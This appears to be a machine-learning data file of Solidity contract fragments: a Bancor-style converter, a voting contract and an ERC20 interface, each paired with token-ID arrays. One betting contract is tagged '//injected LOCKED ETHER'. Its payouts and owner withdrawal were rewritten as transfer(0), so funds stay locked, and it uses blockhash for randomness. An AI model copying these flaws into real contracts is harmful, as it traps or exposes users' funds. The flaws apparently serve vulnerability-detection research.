!etherTokens[stepData.sourceToken]) safeTransfer(stepData.sourceToken, stepData.converter, fromAmount); } // older converter // if the source token is the smart token, no need to do any transfers as the converter controls it else if (stepData.sourceToken != ISmartToken(stepData.anchor)) { // grant allowance for it to transfer the tokens from the network contract ensureAllowance(stepData.sourceToken, stepData.converter, fromAmount); } // do the conversion if (!stepData.isV28OrHigherConverter) toAmount = ILegacyConverter(stepData.converter).change(stepData.sourceToken, stepData.targetToken, fromAmount, 1); else if (etherTokens[stepData.sourceToken]) toAmount = stepData.converter.convert.value(msg.value)( stepData.sourceToken, stepData.targetToken, fromAmount, msg.sender, stepData.beneficiary ); else toAmount = stepData.converter.convert(stepData.sourceToken, stepData.targetToken, fromAmount, msg.sender, stepData.beneficiary); // pay affiliate-fee if needed if (stepData.processAffiliateFee) { uint256 affiliateAmount = toAmount.mul(_affiliateFee).div(AFFILIATE_FEE_RESOLUTION); require(stepData.targetToken.transfer(_affiliateAccount, affiliateAmount), "ERR_FEE_TRANSFER_FAILED"); toAmount -= affiliateAmount; } emit Conversion(stepData.anchor, stepData.sourceToken, stepData.targetToken, fromAmount, toAmount, msg.sender); fromAmount = toAmount; } // ensure the trade meets the minimum requested amount require(toAmount >= _minReturn, "ERR_RETURN_TOO_LOW"); return toAmount; } /** * @dev validates msg.value and prepares the conversion source token for the conversion * * @param _sourceToken source token of the first conversion step * @param _anchor converter anchor of the first conversion step * @param _amount amount to convert from, in the source token */ function handleSourceToken( IERC20Token _sourceToken, IConverterAnchor _anchor, uint256 _amount ) private { IConverter firstConverter = IConverter(_anchor.owner()); bool isNewerConverter = isV28OrHigherConverter(firstConverter); // ETH if (msg.value > 0) { // validate msg.value require(msg.value == _amount, "ERR_ETH_AMOUNT_MISMATCH"); // EtherToken converter - deposit the ETH into the EtherToken // note that it can still be a non ETH converter if the path is wrong // but such conversion will simply revert if (!isNewerConverter) IEtherToken(getConverterEtherTokenAddress(firstConverter)).deposit.value(msg.value)(); } // EtherToken else if (etherTokens[_sourceToken]) { // claim the tokens - if the source token is ETH reserve, this call will fail // since in that case the transaction must be sent with msg.value safeTransferFrom(_sourceToken, msg.sender, this, _amount); // ETH converter - withdraw the ETH if (isNewerConverter) IEtherToken(_sourceToken).withdraw(_amount); } // other ERC20 token else { // newer converter - transfer the tokens from the sender directly to the converter // otherwise claim the tokens if (isNewerConverter) safeTransferFrom(_sourceToken, msg.sender, firstConverter, _amount); else safeTransferFrom(_sourceToken, msg.sender, this, _amount); } } /** * @dev handles the conversion target token if the network still holds it at the end of the conversion * * @param _data conversion data, see ConversionStep struct above * @param _amount conversion target amount * @param _beneficiary wallet to receive the conversion result */ function handleTargetToken( ConversionStep[] _data, uint256 _amount, address _beneficiary ) private { ConversionStep memory stepData = _data[_data.length - 1]; // network contract doesn't hold the tokens, do nothing if (stepData.beneficiary != address(this)) return; IERC20Token targetToken = stepData.targetToken; // ETH / EtherToken if (etherTokens[targetToken]) { // newer converter should send ETH directly to the beneficiary assert(!stepData.isV28OrHigherConverter); // EtherToken converter - withdraw the ETH and transfer to the beneficiary IEtherToken(targetToken).withdrawTo(_beneficiary, _amount); } // other ERC20 token else { safeTransfer(targetToken, _beneficiary, _amount); } } /** * @dev creates a memory cache of all conversion steps data to minimize logic and external calls during conversions * * @param _conversionPath conversion path, see conversion path format above * @param _beneficiary wallet to receive the conversion result * @param _affiliateFeeEnabled true if affiliate fee was requested by the sender, false if not * * @return cached conversion data to be ingested later on by the conversion flow */ function createConversionData( IERC20Token[] _conversionPath, address _beneficiary, bool _affiliateFeeEnabled ) private view returns (ConversionStep[]) { ConversionStep[] memory data = new ConversionStep[](_conversionPath.length / 2); bool affiliateFeeProcessed = false; address bntToken = addressOf(BNT_TOKEN); // iterate the conversion path and create the conversion data for each step uint256 i; for (i = 0; i < _conversionPath.length - 1; i += 2) { IConverterAnchor anchor = IConverterAnchor(_conversionPath[i + 1]); IConverter converter = IConverter(anchor.owner()); IERC20Token targetToken = _conversionPath[i + 2]; // check if the affiliate fee should be processed in this step bool processAffiliateFee = _affiliateFeeEnabled && !affiliateFeeProcessed && targetToken == bntToken; if (processAffiliateFee) affiliateFeeProcessed = true; data[i / 2] = ConversionStep({ anchor: // set the converter anchor anchor, converter: // set the converter converter, sourceToken: // set the source/target tokens _conversionPath[i], targetToken: targetToken, beneficiary: // requires knowledge about the next step, so initialize in the next phase address(0), isV28OrHigherConverter: // set flags isV28OrHigherConverter(converter), processAffiliateFee: processAffiliateFee }); } // ETH support // source is ETH ConversionStep memory stepData = data[0]; if (etherTokens[stepData.sourceToken]) { // newer converter - replace the source token address with ETH reserve address if (stepData.isV28OrHigherConverter) stepData.sourceToken = IERC20Token(ETH_RESERVE_ADDRESS); // older converter - replace the source token with the EtherToken address used by the converter else stepData.sourceToken = IERC20Token(getConverterEtherTokenAddress(stepData.converter)); } // target is ETH stepData = data[data.length - 1]; if (etherTokens[stepData.targetToken]) { // newer converter - replace the target token address with ETH reserve address if (stepData.isV28OrHigherConverter) stepData.targetToken = IERC20Token(ETH_RESERVE_ADDRESS); // older converter - replace the target token with the EtherToken address used by the converter else stepData.targetToken = IERC20Token(getConverterEtherTokenAddress(stepData.converter)); } // set the beneficiary for each step for (i = 0; i < data.length; i++) { stepData = data[i]; // first check if the converter in this step is newer as older converters don't even support the beneficiary argument if (stepData.isV28OrHigherConverter) { // if affiliate fee is processed in this step, beneficiary is the network contract if (stepData.processAffiliateFee) stepData.beneficiary = this; // if it's the last step, beneficiary is the final beneficiary else if (i == data.length - 1) stepData.beneficiary = _beneficiary; // if the converter in the next step is newer, beneficiary is the next converter else if (data[i + 1].isV28OrHigherConverter) stepData.beneficiary = data[i + 1].converter; // the converter in the next step is older, beneficiary is the network contract else stepData.beneficiary = this; } else { // converter in this step is older, beneficiary is the network contract stepData.beneficiary = this; } } return data; } /** * @dev utility, checks whether allowance for the given spender exists and approves one if it doesn't. * Note that we use the non standard erc-20 interface in which `approve` has no return value so that * this function will work for both standard and non standard tokens * * @param _token token to check the allowance in * @param _spender approved address * @param _value allowance amount */ function ensureAllowance( IERC20Token _token, address _spender, uint256 _value ) private { uint256 allowance = _token.allowance(this, _spender); if (allowance < _value) { if (allowance > 0) safeApprove(_token, _spender, 0); safeApprove(_token, _spender, _value); } } // legacy - returns the address of an EtherToken used by the converter function getConverterEtherTokenAddress(IConverter _converter) private view returns (address) { uint256 reserveCount = _converter.connectorTokenCount(); for (uint256 i = 0; i < reserveCount; i++) { address reserveTokenAddress = _converter.connectorTokens(i); if (etherTokens[reserveTokenAddress]) return reserveTokenAddress; } return ETH_RESERVE_ADDRESS; } // legacy - if the token is an ether token, returns the ETH reserve address // used by the converter, otherwise returns the input token address function getConverterTokenAddress(IConverter _converter, IERC20Token _token) private view returns (IERC20Token) { if (!etherTokens[_token]) return _token; if (isV28OrHigherConverter(_converter)) return IERC20Token(ETH_RESERVE_ADDRESS); return IERC20Token(getConverterEtherTokenAddress(_converter)); } bytes4 private constant GET_RETURN_FUNC_SELECTOR = bytes4(keccak256("getReturn(address,address,uint256)")); // using assembly code since older converter versions have different return values function getReturn( address _dest, address _sourceToken, address _targetToken, uint256 _amount ) internal view returns (uint256, uint256) { uint256[2] memory ret; bytes memory data = abi.encodeWithSelector(GET_RETURN_FUNC_SELECTOR, _sourceToken, _targetToken, _amount); assembly { let success := staticcall( gas, // gas remaining _dest, // destination address add(data, 32), // input buffer (starts after the first 32 bytes in the `data` array) mload(data), // input length (loaded from the first 32 bytes in the `data` array) ret, // output buffer 64 // output length ) if iszero(success) { revert(0, 0) } } return (ret[0], ret[1]); } bytes4 private constant IS_V28_OR_HIGHER_FUNC_SELECTOR = bytes4(keccak256("isV28OrHigher()")); // using assembly code to identify converter version // can't rely on the version number since the function had a different signature in older converters function isV28OrHigherConverter(IConverter _converter) internal view returns (bool) { bool success; uint256[1] memory ret; bytes memory data = abi.encodeWithSelector(IS_V28_OR_HIGHER_FUNC_SELECTOR); assembly { success := staticcall( 5000, // isV28OrHigher consumes 190 gas, but just for extra safety _converter, // destination address add(data, 32), // input buffer (starts after the first 32 bytes in the `data` array) mload(data), // input length (loaded from the first 32 bytes in the `data` array) ret, // output buffer 32 // output length ) } return success && ret[0] != 0; } /** * @dev deprecated, backward compatibility */ function getReturnByPath(IERC20Token[] _path, uint256 _amount) public view returns (uint256, uint256) { return (rateByPath(_path, _amount), 0); } /** * @dev deprecated, backward compatibility */ function convert( IERC20Token[] _path, uint256 _amount, uint256 _minReturn ) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), address(0), 0); } /** * @dev deprecated, backward compatibility */ function convert2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function convertFor( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _beneficiary ) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev deprecated, backward compatibility */ function convertFor2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _beneficiary, address _affiliateAccount, uint256 _affiliateFee ) public payable greaterThanZero(_minReturn) returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function claimAndConvert( IERC20Token[] _path, uint256 _amount, uint256 _minReturn ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), address(0), 0); } /** * @dev deprecated, backward compatibility */ function claimAndConvert2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function claimAndConvertFor( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _beneficiary ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev deprecated, backward compatibility */ function claimAndConvertFor2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _beneficiary, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, _affiliateAccount, _affiliateFee); } }
interface of older converters for backward compatibility
contract ILegacyConverter { function change( IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount, uint256 _minReturn ) public returns (uint256); }
12,943,146
[ 1, 5831, 434, 12156, 19414, 364, 12555, 8926, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 467, 12235, 5072, 288, 203, 202, 915, 2549, 12, 203, 202, 202, 45, 654, 39, 3462, 1345, 389, 3168, 1345, 16, 203, 202, 202, 45, 654, 39, 3462, 1345, 389, 3299, 1345, 16, 203, 202, 202, 11890, 5034, 389, 8949, 16, 203, 202, 202, 11890, 5034, 389, 1154, 990, 203, 202, 13, 1071, 1135, 261, 11890, 5034, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xE50D1b7dc3Ac3702caBaDB48E59F4b0aaF99DA14/sources/Utcoin.sol
Variables/ Utcoin contract reference */
Utcoin public utcoin;
15,967,101
[ 1, 6158, 19, 587, 5111, 885, 6835, 2114, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 57, 5111, 885, 1071, 9439, 885, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >= 0.4.2 < 0.9.0; contract Election{ // struct representing a candidate struct Candidate { uint id; // id of the candidate string name; // name of the candidate uint voteCount; // no. of votes for the candidate } // hashmap to store the candidates' data // key - unsigned int, value - Candidate struct mapping(uint => Candidate) public candidates; // boolean mapping to keep track of voters that have already voted mapping(address => bool) public voters; // number of candidates uint public candidatesCount; // constructor for the contract constructor() public { addCandidate("Steve"); addCandidate("John"); addCandidate("Heisenberg"); } // event indicating completion of voting event votedEvent ( uint indexed _candidateId ); // function to add candidates function addCandidate(string memory _name) private { candidatesCount++; candidates[candidatesCount] = Candidate(candidatesCount, _name, 0); // create instance of Candidate struct using given data } // function to implement voting function vote(uint _candidateId) public { // ensure that the voter hasn't already voted require(!voters[msg.sender]); // check if the candidate is valid require(_candidateId > 0 && _candidateId <= candidatesCount); // update the state for the voter who just voted voters[msg.sender] = true; // increment the vote count for the candidate candidates[_candidateId].voteCount++; // trigger voted event emit votedEvent(_candidateId); } }
function to add candidates
function addCandidate(string memory _name) private { candidatesCount++; }
1,815,518
[ 1, 915, 358, 527, 7965, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 11910, 12, 1080, 3778, 389, 529, 13, 3238, 288, 203, 3639, 7965, 1380, 9904, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; contract Test { uint8 constant N = 16; struct Bet { uint256 blockNumber; uint256 amount; bytes16 bet; uint128 id; address payable gambler; } struct Payout { uint256 amount; bytes32 blockHash; uint128 id; address payable gambler; } Bet[] betArray; address payable private owner; event Result ( uint256 amount, bytes32 blockHash, uint128 indexed id, address payable indexed gambler ); uint256 constant MIN_BET = 0.01 ether; uint256 constant MAX_BET = 100 ether; uint256 constant PRECISION = 1 ether; constructor() public payable { //injected LOCKED ETHER owner = msg.sender; } function() external payable { } //injected LOCKED ETHER modifier onlyOwner { require(msg.sender == owner); _; } function placeBet(bytes16 bet, uint128 id) external payable { //injected LOCKED ETHER require(msg.value >= MIN_BET, "Bet amount should be greater or equal than minimal amount"); require(msg.value <= MAX_BET, "Bet amount should be lesser or equal than maximal amount"); require(id != 0, "Id should not be 0"); betArray.push(Bet(block.number, msg.value, bet, id, msg.sender)); } function settleBets() external { if (betArray.length == 0) return; Payout[] memory payouts = new Payout[](betArray.length); Bet[] memory missedBets = new Bet[](betArray.length); uint256 totalPayout; uint i = betArray.length; do { i--; if(betArray[i].blockNumber >= block.number) missedBets[i] = betArray[i]; else { bytes32 blockHash = blockhash(betArray[i].blockNumber); uint256 coefficient = PRECISION; uint8 markedCount; uint8 matchesCount; uint256 divider = 1; for (uint8 j = 0; j < N; j++) { if (betArray[i].bet[j] == 0xFF) continue; markedCount++; byte field; if (j % 2 == 0) field = blockHash[24 + j / 2] >> 4; else field = blockHash[24 + j / 2] & 0x0F; if (betArray[i].bet[j] < 0x10) { if (field == betArray[i].bet[j]) matchesCount++; else divider *= 15 + N; continue; } if (betArray[i].bet[j] == 0x10) { if (field > 0x09 && field < 0x10) { matchesCount++; divider *= 6; } else divider *= 10 + N; continue; } if (betArray[i].bet[j] == 0x11) { if (field < 0x0A) { matchesCount++; divider *= 10; } else divider *= 6 + N; continue; } if (betArray[i].bet[j] == 0x12) { if (field < 0x0A && field & 0x01 == 0x01) { matchesCount++; divider *= 5; } else divider *= 11 + N; continue; } if (betArray[i].bet[j] == 0x13) { if (field < 0x0A && field & 0x01 == 0x0) { matchesCount++; divider *= 5; } else divider *= 11 + N; continue; } } if (matchesCount == 0) coefficient = 0; else { uint256 missedCount = markedCount - matchesCount; divider *= missedCount ** missedCount; coefficient = coefficient * 16**uint256(markedCount) / divider; } uint payoutAmount = betArray[i].amount * coefficient / PRECISION; if (payoutAmount == 0 && matchesCount > 0) payoutAmount = matchesCount; payouts[i] = Payout(payoutAmount, blockHash, betArray[i].id, betArray[i].gambler); totalPayout += payoutAmount; } betArray.pop(); } while (i > 0); i = missedBets.length; do { i--; if (missedBets[i].id != 0) betArray.push(missedBets[i]); } while (i > 0); uint balance = address(this).balance; for (i = 0; i < payouts.length; i++) { if (payouts[i].id > 0) { if (totalPayout > balance) emit Result(balance * payouts[i].amount * PRECISION / totalPayout / PRECISION, payouts[i].blockHash, payouts[i].id, payouts[i].gambler); else emit Result(payouts[i].amount, payouts[i].blockHash, payouts[i].id, payouts[i].gambler); } } for (i = 0; i < payouts.length; i++) { if (payouts[i].amount > 0) { if (totalPayout > balance) payouts[i].gambler.transfer(0); else payouts[i].gambler.transfer(0); } } } function withdraw() external onlyOwner { owner.transfer(0); } }
injected LOCKED ETHER
function() external payable { }
5,506,768
[ 1, 267, 6059, 14631, 2056, 512, 19905, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1435, 3903, 8843, 429, 288, 289, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** 